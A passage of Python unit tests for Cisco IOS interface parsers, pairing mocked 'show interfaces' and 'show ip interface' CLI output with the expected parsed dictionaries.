golden_output = {'execute.return_value': ''' Name: Gi1/0/2 Switchport: Enabled Administrative Mode: trunk Operational Mode: trunk (member of bundle Po12) Administrative Trunking Encapsulation: dot1q Operational Trunking Encapsulation: dot1q Negotiation of Trunking: On Access Mode VLAN: 1 (default) Trunking Native Mode VLAN: 1 (default) Administrative Native VLAN tagging: enabled Voice VLAN: none Administrative private-vlan host-association: none Administrative private-vlan mapping: none Administrative private-vlan trunk native VLAN: none Administrative private-vlan trunk Native VLAN tagging: enabled Administrative private-vlan trunk encapsulation: dot1q Administrative private-vlan trunk normal VLANs: none Administrative private-vlan trunk associations: none Administrative private-vlan trunk mappings: 10 (VLAN0010) 100 (VLAN0100) Operational private-vlan: 10 (VLAN0010) 100 (VLAN0100) Trunking VLANs Enabled: 100-110 Pruning VLANs Enabled: 2-1001 Capture Mode Disabled Capture VLANs Allowed: ALL Protected: false Unknown unicast blocked: disabled Unknown multicast blocked: disabled Appliance trust: none Name: Gi1/0/4 Switchport: Enabled Administrative Mode: trunk Operational Mode: trunk Administrative Trunking Encapsulation: dot1q Operational Trunking Encapsulation: dot1q Negotiation of Trunking: On Access Mode VLAN: 1 (default) Trunking Native Mode VLAN: 1 (default) Administrative Native VLAN tagging: enabled Voice VLAN: none Administrative private-vlan host-association: none Administrative private-vlan mapping: none Administrative private-vlan trunk native VLAN: none Administrative private-vlan trunk Native VLAN tagging: enabled Administrative private-vlan trunk encapsulation: dot1q Administrative private-vlan trunk normal VLANs: none Administrative private-vlan trunk associations: none Administrative private-vlan trunk mappings: none Operational private-vlan: none Trunking VLANs Enabled: 200-211 Pruning VLANs Enabled: 2-1001 Capture Mode Disabled Capture VLANs Allowed: ALL Protected: false Unknown unicast blocked: disabled Unknown multicast blocked: disabled Appliance trust: none Name: Gi1/0/5 Switchport: Enabled Administrative Mode: static access Operational Mode: down Administrative Trunking Encapsulation: dot1q Negotiation of Trunking: Off Access Mode VLAN: 1 (default) Trunking Native Mode VLAN: 1 (default) Administrative Native VLAN tagging: enabled Voice VLAN: none Administrative private-vlan host-association: none Administrative private-vlan mapping: none Administrative private-vlan trunk native VLAN: none Administrative private-vlan trunk Native VLAN tagging: enabled Administrative private-vlan trunk encapsulation: dot1q Administrative private-vlan trunk normal VLANs: none Administrative private-vlan trunk associations: none Administrative private-vlan trunk mappings: none Operational private-vlan: none Trunking VLANs Enabled: ALL Pruning VLANs Enabled: 2-1001 Capture Mode Disabled Capture VLANs Allowed: ALL Protected: false Unknown unicast blocked: disabled Unknown multicast blocked: disabled Appliance trust: none Name: Po12 Switchport: Enabled Administrative Mode: trunk Operational Mode: down Administrative Trunking Encapsulation: dot1q Negotiation of Trunking: On Access Mode VLAN: unassigned Trunking Native Mode VLAN: 0 (Inactive) Administrative Native VLAN tagging: disabled Voice VLAN: none Administrative private-vlan host-association: none Administrative private-vlan mapping: none Administrative private-vlan trunk native VLAN: none Administrative private-vlan trunk Native VLAN tagging: enabled Administrative private-vlan trunk encapsulation: dot1q Administrative private-vlan trunk normal VLANs: none Administrative private-vlan trunk associations: none Administrative private-vlan trunk mappings: none Operational private-vlan: none Trunking VLANs Enabled: 100-110 Pruning VLANs Enabled: 2-1001 Protected: false Unknown unicast blocked: disabled Unknown multicast blocked: disabled Appliance trust: none '''} def test_golden(self): self.device = Mock(**self.golden_output) intf_obj = ShowInterfacesSwitchport(device=self.device) parsed_output = intf_obj.parse() self.maxDiff = None self.assertEqual(parsed_output,self.golden_parsed_output) def test_empty(self): self.device1 = Mock(**self.empty_output) intf_obj = ShowInterfacesSwitchport(device=self.device1) with self.assertRaises(SchemaEmptyParserError): parsed_output = intf_obj.parse() ############################################################################# # unitest For Show Interfaces ############################################################################# class test_show_interfaces(unittest.TestCase): device = Device(name='aDevice') empty_output = {'execute.return_value': ''} golden_parsed_output = { "Port-channel12": { "flow_control": { "send": False, "receive": False }, "type": "EtherChannel", "counters": { "out_buffer_failure": 0, "out_underruns": 0, "in_giants": 0, "in_throttles": 0, "in_frame": 0, "in_ignored": 0, "last_clear": "1d23h", "out_interface_resets": 2, "in_mac_pause_frames": 0, "out_collision": 0, "rate": { "out_rate_pkts": 0, "load_interval": 300, "out_rate": 0, "in_rate": 2000, "in_rate_pkts": 2 }, "in_watchdog": 0, "out_deferred": 0, "out_mac_pause_frames": 0, "in_pkts": 961622, "in_multicast_pkts": 4286699522, "in_runts": 0, "out_unknown_protocl_drops": 0, "in_no_buffer": 0, "out_buffers_swapped": 0, "out_lost_carrier": 0, "out_errors": 0, "in_errors": 0, "in_octets": 72614643, "in_crc_errors": 0, "out_no_carrier": 0, "in_with_dribble": 0, "in_broadcast_pkts": 944788, "out_pkts": 39281, "out_late_collision": 0, "out_octets": 6235318, "in_overrun": 0, "out_babble": 0 }, "auto_negotiate": True, "phys_address": "0057.d228.1a02", "keepalive": 10, "output_hang": "never", "txload": "1/255", "oper_status": "up", "arp_type": "arpa", "rxload": "1/255", "duplex_mode": "full", "link_type": "auto", "queues": { "input_queue_size": 0, "total_output_drop": 0, "input_queue_drops": 0, "input_queue_max": 2000, "output_queue_size": 0, "input_queue_flushes": 0, "output_queue_max": 0, "queue_strategy": "fifo" }, "encapsulations": { "encapsulation": "qinq virtual lan", "first_dot1q": "10", "second_dot1q": "20", }, "last_input": "never", "last_output": "1d22h", "line_protocol": "up", "mac_address": "0057.d228.1a02", "connected": True, "port_channel": { "port_channel_member": True, "port_channel_member_intfs": ['GigabitEthernet1/0/2'], }, "arp_timeout": "04:00:00", "bandwidth": 1000000, "port_speed": "1000", "enabled": True, "mtu": 1500, "delay": 10, "reliability": "255/255" }, "GigabitEthernet1/0/1": { "flow_control": { "send": False, "receive": False }, "type": "Gigabit Ethernet", "counters": { "out_buffer_failure": 0, "out_underruns": 0, "in_giants": 0, "in_throttles": 0, "in_frame": 0, "in_ignored": 0, "last_clear": "1d02h", "out_interface_resets": 2, "in_mac_pause_frames": 0, "out_collision": 0, "rate": { "out_rate_pkts": 0, "load_interval": 30, "out_rate": 0, "in_rate": 0, "in_rate_pkts": 0 }, "in_watchdog": 0, "out_deferred": 0, "out_mac_pause_frames": 0, "in_pkts": 12127, "in_multicast_pkts": 4171, "in_runts": 0, "out_unknown_protocl_drops": 0, "in_no_buffer": 0, "out_buffers_swapped": 0, "out_lost_carrier": 0, "out_errors": 0, "in_errors": 0, "in_octets": 2297417, "in_crc_errors": 0, "out_no_carrier": 0, "in_with_dribble": 0, "in_broadcast_pkts": 0, "out_pkts": 12229, "out_late_collision": 0, "out_octets": 2321107, "in_overrun": 0, "out_babble": 0 }, "phys_address": "0057.d228.1a64", "keepalive": 10, "output_hang": "never", "txload": "1/255", "description": "desc", "oper_status": "down", "arp_type": "arpa", "rxload": "1/255", "duplex_mode": "auto", "queues": { "input_queue_size": 0, "total_output_drop": 0, "input_queue_drops": 0, "input_queue_max": 375, "output_queue_size": 0, "input_queue_flushes": 0, "output_queue_max": 40, "queue_strategy": "fifo" }, "ipv4": { "10.1.1.1/24": { "prefix_length": "24", "ip": "10.1.1.1" } }, "encapsulations": { "encapsulation": "arpa" }, "last_input": "never", "last_output": "04:39:18", "line_protocol": "down", "mac_address": "0057.d228.1a64", "connected": False, "port_channel": { "port_channel_member": False }, "media_type": "10/100/1000BaseTX", "bandwidth": 768, "port_speed": "1000", "enabled": False, "arp_timeout": "04:00:00", "mtu": 1500, "delay": 3330, "reliability": "255/255" }, "GigabitEthernet3": { "flow_control": { "send": False, "receive": False }, "type": "CSR vNIC", 'auto_negotiate': True, 'duplex_mode': 'full', 'link_type': 'auto', 'media_type': 'RJ45', 'port_speed': '1000', "counters": { "out_buffer_failure": 0, "out_underruns": 0, "in_giants": 0, "in_throttles": 0, "in_frame": 0, "in_ignored": 0, "last_clear": "never", "out_interface_resets": 1, "in_mac_pause_frames": 0, "out_collision": 0, "in_crc_errors": 0, "rate": { "out_rate_pkts": 0, "load_interval": 300, "out_rate": 0, "in_rate": 0, "in_rate_pkts": 0 }, "in_watchdog": 0, "out_deferred": 0, "out_mac_pause_frames": 0, "in_pkts": 6, "in_multicast_pkts": 0, "in_runts": 0, "in_no_buffer": 0, "out_buffers_swapped": 0, "out_errors": 0, "in_errors": 0, "in_octets": 480, "out_unknown_protocl_drops": 0, "out_no_carrier": 0, "out_lost_carrier": 0, "in_broadcast_pkts": 0, "out_pkts": 28, "out_late_collision": 0, "out_octets": 7820, "in_overrun": 0, "out_babble": 0 }, "phys_address": "5254.0072.9b0c", "keepalive": 10, "output_hang": "never", "txload": "1/255", "reliability": "255/255", "arp_type": "arpa", "rxload": "1/255", "queues": { "input_queue_size": 0, "total_output_drop": 0, "input_queue_drops": 0, "input_queue_max": 375, "output_queue_size": 0, "input_queue_flushes": 0, "output_queue_max": 40, "queue_strategy": "fifo" }, "ipv4": { "200.2.1.1/24": { "prefix_length": "24", "ip": "200.2.1.1" }, "unnumbered": { "interface_ref": "Loopback0" } }, "encapsulations": { "encapsulation": "arpa" }, "last_output": "00:00:27", "line_protocol": "up", "mac_address": "5254.0072.9b0c", "oper_status": "up", "port_channel": { "port_channel_member": False }, "arp_timeout": "04:00:00", "bandwidth": 1000000, "enabled": True, "mtu": 1500, "delay": 10, "last_input": "never" }, "Loopback0": { "queues": { "input_queue_size": 0, "total_output_drop": 0, "input_queue_drops": 0, "input_queue_max": 75, "output_queue_size": 0, "input_queue_flushes": 0, "output_queue_max": 0, "queue_strategy": "fifo" }, "mtu": 1514, "encapsulations": { "encapsulation": "loopback" }, "last_output": "never", "type": "Loopback", "line_protocol": "up", "oper_status": "up", "keepalive": 10, "output_hang": "never", "txload": "1/255", "counters": { "out_buffer_failure": 0, "out_underruns": 0, "in_giants": 0, "in_throttles": 0, "in_frame": 0, "in_ignored": 0, "last_clear": "1d04h", "out_interface_resets": 0, "out_collision": 0, "rate": { "out_rate_pkts": 0, "load_interval": 300, "out_rate": 0, "in_rate": 0, "in_rate_pkts": 0 }, "in_pkts": 0, "in_multicast_pkts": 0, "in_runts": 0, "in_no_buffer": 0, "out_buffers_swapped": 0, "out_errors": 0, "in_errors": 0, "in_octets": 0, "in_crc_errors": 0, "out_unknown_protocl_drops": 0, "in_broadcast_pkts": 0, "out_pkts": 72, "out_octets": 5760, "in_overrun": 0, "in_abort": 0 }, "reliability": "255/255", "bandwidth": 8000000, "port_channel": { "port_channel_member": False }, "enabled": True, "ipv4": { "200.2.1.1/24": { "prefix_length": "24", "ip": "200.2.1.1" } }, "rxload": "1/255", "delay": 5000, "last_input": "1d02h" }, "Vlan100": { "type": "Ethernet SVI", "counters": { "out_buffer_failure": 0, "out_underruns": 0, "in_giants": 0, "in_throttles": 0, "in_frame": 0, "in_ignored": 0, "last_clear": "1d04h", "out_interface_resets": 0, "rate": { "out_rate_pkts": 0, "load_interval": 300, "out_rate": 0, "in_rate": 0, "in_rate_pkts": 0 }, "in_pkts": 50790, "in_multicast_pkts": 0, "in_runts": 0, "in_no_buffer": 0, "out_buffers_swapped": 0, "out_errors": 0, "in_errors": 0, "in_octets": 3657594, "in_crc_errors": 0, "out_unknown_protocl_drops": 0, "in_broadcast_pkts": 0, "out_pkts": 72, "out_octets": 5526, "in_overrun": 0 }, "phys_address": "0057.d228.1a51", "queues": { "input_queue_size": 0, "total_output_drop": 0, "input_queue_drops": 0, "input_queue_max": 375, "output_queue_size": 0, "input_queue_flushes": 0, "output_queue_max": 40, "queue_strategy": "fifo" }, "txload": "1/255", "reliability": "255/255", "arp_type": "arpa", "rxload": "1/255", "output_hang": "never", "ipv4": { "201.0.12.1/24": { "prefix_length": "24", "ip": "201.0.12.1" } }, "encapsulations": { "encapsulation": "arpa" }, "last_output": "1d03h", "line_protocol": "up", "mac_address": "0057.d228.1a51", "oper_status": "up", "port_channel": { "port_channel_member": False }, "arp_timeout": "04:00:00", "bandwidth": 1000000, "enabled": True, "mtu": 1500, "delay": 10, "last_input": "never" }, "GigabitEthernet1/0/2": { "flow_control": { "send": False, "receive": False }, "type": "Gigabit Ethernet", "counters": { "out_buffer_failure": 0, "out_underruns": 0, "in_giants": 0, "in_throttles": 0, "in_frame": 0, "in_ignored": 0, "last_clear": "1d02h", "out_interface_resets": 5, "in_mac_pause_frames": 0, "out_collision": 0, "rate": { "out_rate_pkts": 0, "load_interval": 300, "out_rate": 0, "in_rate": 3000, "in_rate_pkts": 5 }, "in_watchdog": 0, "out_deferred": 0, "out_mac_pause_frames": 0, "in_pkts": 545526, "in_multicast_pkts": 535961, "in_runts": 0, "out_unknown_protocl_drops": 0, "in_no_buffer": 0, "out_buffers_swapped": 0, "out_lost_carrier": 0, "out_errors": 0, "in_errors": 0, "in_octets": 41210298, "in_crc_errors": 0, "out_no_carrier": 0, "in_with_dribble": 0, "in_broadcast_pkts": 535961, "out_pkts": 23376, "out_late_collision": 0, "out_octets": 3642296, "in_overrun": 0, "out_babble": 0 }, "phys_address": "0057.d228.1a02", "keepalive": 10, "output_hang": "never", "txload": "1/255", "oper_status": "up", "arp_type": "arpa", "media_type": "10/100/1000BaseTX", "rxload": "1/255", "duplex_mode": "full", "queues": { "input_queue_size": 0, "total_output_drop": 0, "input_queue_drops": 0, "input_queue_max": 2000, "output_queue_size": 0, "input_queue_flushes": 0, "output_queue_max": 40, "queue_strategy": "fifo" }, "encapsulations": { "encapsulation": "arpa" }, "last_input": "never", "last_output": "00:00:02", "line_protocol": "up", "mac_address": "0057.d228.1a02", "connected": True, "port_channel": { "port_channel_member": True, 'port_channel_int': 'Port-channel12', }, "arp_timeout": "04:00:00", "bandwidth": 1000000, "port_speed": "1000", "enabled": True, "mtu": 1500, "delay": 10, "reliability": "255/255" }, "GigabitEthernet0/0/4": { "arp_timeout": "04:00:00", "arp_type": "arpa", "bandwidth": 1000000, "counters": { "in_broadcast_pkts": 0, "in_crc_errors": 0, "in_errors": 0, "in_frame": 0, "in_giants": 0, "in_ignored": 0, "in_mac_pause_frames": 0, "in_multicast_pkts": 0, "in_no_buffer": 0, "in_octets": 0, "in_overrun": 0, "in_pkts": 0, "in_runts": 0, "in_throttles": 0, "in_watchdog": 0, "last_clear": "never", "out_babble": 0, "out_collision": 0, "out_deferred": 0, "out_errors": 0, "out_interface_resets": 1, "out_late_collision": 0, "out_lost_carrier": 0, "out_mac_pause_frames": 0, "out_no_carrier": 0, "out_octets": 0, "out_pkts": 0, "out_underruns": 0, "out_unknown_protocl_drops": 0, "rate": { "in_rate": 0, "in_rate_pkts": 0, "load_interval": 300, "out_rate": 0, "out_rate_pkts": 0 } }, "delay": 10, "enabled": False, "encapsulations": { "encapsulation": "arpa" }, "flow_control": { "receive": False, "send": False }, "last_input": "never", "last_output": "never", "line_protocol": "down", "mac_address": "380e.4d6c.7006", "phys_address": "380e.4d6c.7006", "mtu": 1500, "oper_status": "down", "output_hang": "never", "port_channel": { "port_channel_member": False }, "queues": { "input_queue_drops": 0, "input_queue_flushes": 0, "input_queue_max": 375, "input_queue_size": 0, "output_queue_max": 40, "output_queue_size": 0, "queue_strategy": "fifo", "total_output_drop": 0 }, "reliability": "255/255", "rxload": "1/255", "txload": "1/255", "type": "BUILT-IN-2T+6X1GE" } } golden_output = {'execute.return_value': ''' GigabitEthernet1/0/1 is administratively down, line protocol is down (disabled) Hardware is Gigabit Ethernet, address is 0057.d228.1a64 (bia 0057.d228.1a64) Description: desc Internet address is 10.1.1.1/24 MTU 1500 bytes, BW 768 Kbit/sec, DLY 3330 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation ARPA, loopback not set Keepalive set (10 sec) Auto-duplex, 1000Mb/s, media type is 10/100/1000BaseTX input flow-control is off, output flow-control is unsupported ARP type: ARPA, ARP Timeout 04:00:00 Last input never, output 04:39:18, output hang never Last clearing of "show interface" counters 1d02h Input queue: 0/375/0/0 (size/max/drops/flushes); Total output drops: 0 Queueing strategy: fifo Output queue: 0/40 (size/max) 30 second input rate 0 bits/sec, 0 packets/sec 30 second output rate 0 bits/sec, 0 packets/sec 12127 packets input, 2297417 bytes, 0 no buffer Received 4173 broadcasts (0 IP multicasts) 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored 0 watchdog, 4171 multicast, 0 pause input 0 input packets with dribble condition detected 12229 packets output, 2321107 bytes, 0 underruns 0 output errors, 0 collisions, 2 interface resets 0 unknown protocol drops 0 babbles, 0 late collision, 0 deferred 0 lost carrier, 0 no carrier, 0 pause output 0 output buffer failures, 0 output buffers swapped out GigabitEthernet1/0/2 is up, line protocol is up (connected) Hardware is Gigabit Ethernet, address is 0057.d228.1a02 (bia 0057.d228.1a02) MTU 1500 bytes, BW 1000000 Kbit/sec, DLY 10 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation ARPA, loopback not set Keepalive set (10 sec) Full-duplex, 1000Mb/s, media type is 10/100/1000BaseTX input flow-control is off, output flow-control is unsupported ARP type: ARPA, ARP Timeout 04:00:00 Last input never, output 00:00:02, output hang never Last clearing of "show interface" counters 1d02h Input queue: 0/2000/0/0 (size/max/drops/flushes); Total output drops: 0 Queueing strategy: fifo Output queue: 0/40 (size/max) 5 minute input rate 3000 bits/sec, 5 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 545526 packets input, 41210298 bytes, 0 no buffer Received 535996 broadcasts (535961 multicasts) 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored 0 watchdog, 535961 multicast, 0 pause input 0 input packets with dribble condition detected 23376 packets output, 3642296 bytes, 0 underruns 0 output errors, 0 collisions, 5 interface resets 0 unknown protocol drops 0 babbles, 0 late collision, 0 deferred 0 lost carrier, 0 no carrier, 0 pause output 0 output buffer failures, 0 output buffers swapped out GigabitEthernet3 is up, line protocol is up Hardware is CSR vNIC, address is 5254.0072.9b0c (bia 5254.0072.9b0c) Interface is unnumbered. Using address of Loopback0 (200.2.1.1) MTU 1500 bytes, BW 1000000 Kbit/sec, DLY 10 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation ARPA, loopback not set Keepalive set (10 sec) Full Duplex, 1000Mbps, link type is auto, media type is RJ45 output flow-control is unsupported, input flow-control is unsupported ARP type: ARPA, ARP Timeout 04:00:00 Last input never, output 00:00:27, output hang never Last clearing of "show interface" counters never Input queue: 0/375/0/0 (size/max/drops/flushes); Total output drops: 0 Queueing strategy: fifo Output queue: 0/40 (size/max) 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 6 packets input, 480 bytes, 0 no buffer Received 0 broadcasts (0 IP multicasts) 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored 0 watchdog, 0 multicast, 0 pause input 28 packets output, 7820 bytes, 0 underruns 0 output errors, 0 collisions, 1 interface resets 0 unknown protocol drops 0 babbles, 0 late collision, 0 deferred 0 lost carrier, 0 no carrier, 0 pause output 0 output buffer failures, 0 output buffers swapped out Loopback0 is up, line protocol is up Hardware is Loopback Internet address is 200.2.1.1/24 MTU 1514 bytes, BW 8000000 Kbit/sec, DLY 5000 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation LOOPBACK, loopback not set Keepalive set (10 sec) Last input 1d02h, output never, output hang never Last clearing of "show interface" counters 1d04h Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0 Queueing strategy: fifo Output queue: 0/0 (size/max) 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 0 packets input, 0 bytes, 0 no buffer Received 0 broadcasts (0 IP multicasts) 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort 72 packets output, 5760 bytes, 0 underruns 0 output errors, 0 collisions, 0 interface resets 0 unknown protocol drops 0 output buffer failures, 0 output buffers swapped out Vlan100 is up, line protocol is up Hardware is Ethernet SVI, address is 0057.d228.1a51 (bia 0057.d228.1a51) Internet address is 201.0.12.1/24 MTU 1500 bytes, BW 1000000 Kbit/sec, DLY 10 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation ARPA, loopback not set Keepalive not supported ARP type: ARPA, ARP Timeout 04:00:00 Last input never, output 1d03h, output hang never Last clearing of "show interface" counters 1d04h Input queue: 0/375/0/0 (size/max/drops/flushes); Total output drops: 0 Queueing strategy: fifo Output queue: 0/40 (size/max) 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 50790 packets input, 3657594 bytes, 0 no buffer Received 0 broadcasts (0 IP multicasts) 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored 72 packets output, 5526 bytes, 0 underruns 0 output errors, 0 interface resets 0 unknown protocol drops 0 output buffer failures, 0 output buffers swapped out Port-channel12 is up, line protocol is up (connected) Hardware is EtherChannel, address is 0057.d228.1a02 (bia 0057.d228.1a02) MTU 1500 bytes, BW 1000000 Kbit/sec, DLY 10 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation QinQ Virtual LAN, outer ID 10, inner ID 20 Keepalive set (10 sec) Full-duplex, 1000Mb/s, link type is auto, media type is input flow-control is off, output flow-control is unsupported Members in this channel: Gi1/0/2 ARP type: ARPA, ARP Timeout 04:00:00 Last input never, output 1d22h, output hang never Last clearing of "show interface" counters 1d23h Input queue: 0/2000/0/0 (size/max/drops/flushes); Total output drops: 0 Queueing strategy: fifo Output queue: 0/0 (size/max) 5 minute input rate 2000 bits/sec, 2 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 961622 packets input, 72614643 bytes, 0 no buffer Received 944818 broadcasts (944788 multicasts) 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored 0 watchdog, 4286699522 multicast, 0 pause input 0 input packets with dribble condition detected 39281 packets output, 6235318 bytes, 0 underruns 0 output errors, 0 collisions, 2 interface resets 0 unknown protocol drops 0 babbles, 0 late collision, 0 deferred 0 lost carrier, 0 no carrier, 0 pause output 0 output buffer failures, 0 output buffers swapped out GigabitEthernet0/0/4 is administratively down, line protocol is down Hardware is BUILT-IN-2T+6X1GE, address is 380e.4d6c.7006 (bia 380e.4d6c.7006) MTU 1500 bytes, BW 1000000 Kbit/sec, DLY 10 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation ARPA, loopback not set Keepalive not supported Full Duplex, 1000Mbps, link type is auto, media type is unknown media type output flow-control is unsupported, input flow-control is unsupported ARP type: ARPA, ARP Timeout 04:00:00 Last input never, output never, output hang never Last clearing of "show interface" counters never Input queue: 0/375/0/0 (size/max/drops/flushes); Total output drops: 0 Queueing strategy: fifo Output queue: 0/40 (size/max) 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 0 packets input, 0 bytes, 0 no buffer Received 0 broadcasts (0 IP multicasts) 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored 0 watchdog, 0 multicast, 0 pause input 0 packets output, 0 bytes, 0 underruns 0 output errors, 0 collisions, 1 interface resets 0 unknown protocol drops 0 babbles, 0 late collision, 0 deferred 0 lost carrier, 0 no carrier, 0 pause output '''} golden_interface_output = {'execute.return_value': ''' CE1#show interfaces GigabitEthernet1 GigabitEthernet1 is up, line protocol is up Hardware is CSR vNIC, address is 5e00.0001.0000 (bia 5e00.0001.0000) Internet address is 172.16.1.243/24 MTU 1500 bytes, BW 1000000 Kbit/sec, DLY 10 usec, reliability 255/255, txload 1/255, rxload 1/255 Encapsulation ARPA, loopback not set Keepalive set (10 sec) Full Duplex, 1000Mbps, link type is auto, media type is Virtual output flow-control is unsupported, input flow-control is unsupported ARP type: ARPA, ARP Timeout 04:00:00 Last input 00:00:02, output 00:00:25, output hang never Last clearing of "show interface" counters never Input queue: 0/375/0/0 (size/max/drops/flushes); Total output drops: 0 Queueing strategy: fifo Output queue: 0/40 (size/max) 5 minute input rate 32000 bits/sec, 28 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 7658 packets input, 1125842 bytes, 0 no buffer Received 0 broadcasts (0 IP multicasts) 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored 0 watchdog, 0 multicast, 0 pause input 44 packets output, 4324 bytes, 0 underruns 0 output errors, 0 collisions, 1 interface resets 0 unknown protocol drops 0 babbles, 0 late collision, 0 deferred 0 lost carrier, 0 no carrier, 0 pause output 0 output buffer failures, 0 output buffers swapped out ''' } golden_parsed_interface_output={ "GigabitEthernet1": { "rxload": "1/255", "phys_address": "5e00.0001.0000", "flow_control": { "send": False, "receive": False }, "arp_type": "arpa", "type": "CSR vNIC", "enabled": True, "media_type": "Virtual", "last_input": "00:00:02", "link_type": "auto", "last_output": "00:00:25", "counters": { "in_errors": 0, "in_frame": 0, "in_watchdog": 0, "out_babble": 0, "in_overrun": 0, "out_collision": 0, "out_buffer_failure": 0, "out_no_carrier": 0, "in_runts": 0, "out_late_collision": 0, "in_mac_pause_frames": 0, "out_underruns": 0, "out_pkts": 44, "in_ignored": 0, "in_pkts": 7658, "out_buffers_swapped": 0, "out_interface_resets": 1, "rate": { "out_rate": 0, "load_interval": 300, "in_rate_pkts": 28, "out_rate_pkts": 0, "in_rate": 32000 }, "out_mac_pause_frames": 0, "in_broadcast_pkts": 0, "in_no_buffer": 0, "out_deferred": 0, "in_crc_errors": 0, "out_octets": 4324, "out_lost_carrier": 0, "in_octets": 1125842, "out_unknown_protocl_drops": 0, "last_clear": "never", "in_throttles": 0, "in_multicast_pkts": 0, "out_errors": 0, "in_giants": 0 }, "keepalive": 10, "mtu": 1500, "delay": 10, "encapsulations": { "encapsulation": "arpa" }, "ipv4": { "172.16.1.243/24": { "ip": "172.16.1.243", "prefix_length": "24" } }, "queues": { "output_queue_size": 0, "input_queue_size": 0, "input_queue_flushes": 0, "queue_strategy": "fifo", "total_output_drop": 0, "output_queue_max": 40, "input_queue_drops": 0, "input_queue_max": 375 }, "auto_negotiate": True, "line_protocol": "up", "oper_status": "up", "duplex_mode": "full", "bandwidth": 1000000, "arp_timeout": "04:00:00", "port_speed": "1000", "port_channel": { "port_channel_member": False }, "output_hang": "never", "txload": "1/255", "mac_address": "5e00.0001.0000", "reliability": "255/255" } } def test_empty(self): self.device = Mock(**self.empty_output) interface_obj = ShowInterfaces(device=self.device) with self.assertRaises(SchemaEmptyParserError): parsed_output = interface_obj.parse() def test_golden(self): self.device = Mock(**self.golden_output) interface_obj = ShowInterfaces(device=self.device) parsed_output = interface_obj.parse() self.maxDiff = None self.assertEqual(parsed_output,self.golden_parsed_output) def test_show_interfaces(self): self.device = Mock(**self.golden_interface_output) interface_obj = ShowInterfaces(device=self.device) parsed_output = interface_obj.parse(interface='GigabitEthernet1') self.maxDiff = None self.assertEqual(parsed_output,self.golden_parsed_interface_output) ############################################################################# # unitest For Show ip interface ############################################################################# class test_show_ip_interface(unittest.TestCase): device = Device(name='aDevice') empty_output = {'execute.return_value': ''} golden_parsed_output = { "Vlan211": { "sevurity_level": "default", "ip_route_cache_flags": [ "CEF", "Fast" ], "enabled": True, "oper_status": "up", "address_determined_by": "configuration file", "router_discovery": False, "ip_multicast_fast_switching": False, "split_horizon": True, "bgp_policy_mapping": False, "ip_output_packet_accounting": False, "mtu": 1500, "policy_routing": False, "local_proxy_arp": False, "proxy_arp": True, "network_address_translation": False, "ip_cef_switching_turbo_vector": True, "icmp": { "redirects": "always sent", "mask_replies": "never sent", "unreachables": "always sent", }, "ipv4": { "201.11.14.1/24": { "prefix_length": "24", "ip": "201.11.14.1", "secondary": False, "broadcase_address": "255.255.255.255" } }, "ip_access_violation_accounting": False, "ip_cef_switching": True, "unicast_routing_topologies": { "topology": { "base": { "status": "up" } }, }, "ip_null_turbo_vector": True, "probe_proxy_name_replies": False, "ip_fast_switching": True, "ip_multicast_distributed_fast_switching": False, "tcp_ip_header_compression": False, "rtp_ip_header_compression": False, "input_features": ["MCI Check"], "directed_broadcast_forwarding": False, "ip_flow_switching": False }, "GigabitEthernet0/0": { "sevurity_level": "default", 'address_determined_by': 'setup command', "ip_route_cache_flags": [ "CEF", "Fast" ], "enabled": True, "oper_status": "up", "router_discovery": False, "ip_multicast_fast_switching": False, "split_horizon": True, "bgp_policy_mapping": False, "ip_output_packet_accounting": False, "mtu": 1500, "policy_routing": False, "local_proxy_arp": False, "vrf": "Mgmt-vrf", "proxy_arp": True, "network_address_translation": False, "ip_cef_switching_turbo_vector": True, "icmp": { "redirects": "always sent", "mask_replies": "never sent", "unreachables": "always sent", }, "ipv4": { "10.1.8.134/24": { "prefix_length": "24", "ip": "10.1.8.134", "secondary": False, "broadcase_address": "255.255.255.255" } }, "ip_access_violation_accounting": False, "ip_cef_switching": True, "unicast_routing_topologies": { "topology": { "base": { "status": "up" } }, }, "ip_null_turbo_vector": True, "probe_proxy_name_replies": False, "ip_fast_switching": True, "ip_multicast_distributed_fast_switching": False, "tcp_ip_header_compression": False, "rtp_ip_header_compression": False, "input_features": ["MCI Check"], "directed_broadcast_forwarding": False, "ip_flow_switching": False }, "GigabitEthernet2": { "enabled": False, "oper_status": "down" }, "GigabitEthernet1/0/1": { "sevurity_level": "default", 'address_determined_by': 'setup command', "ip_route_cache_flags": [ "CEF", "Fast" ], "enabled": False, "oper_status": "down", "router_discovery": False, "ip_multicast_fast_switching": False, "split_horizon": True, "bgp_policy_mapping": False, "ip_output_packet_accounting": False, "mtu": 1500, "policy_routing": False, "local_proxy_arp": False, "proxy_arp": True, "network_address_translation": False, "ip_cef_switching_turbo_vector": True, "icmp": { "redirects": "always sent", "mask_replies": "never sent", "unreachables": "always sent", }, "ipv4": { "10.1.1.1/24": { "prefix_length": "24", "ip": 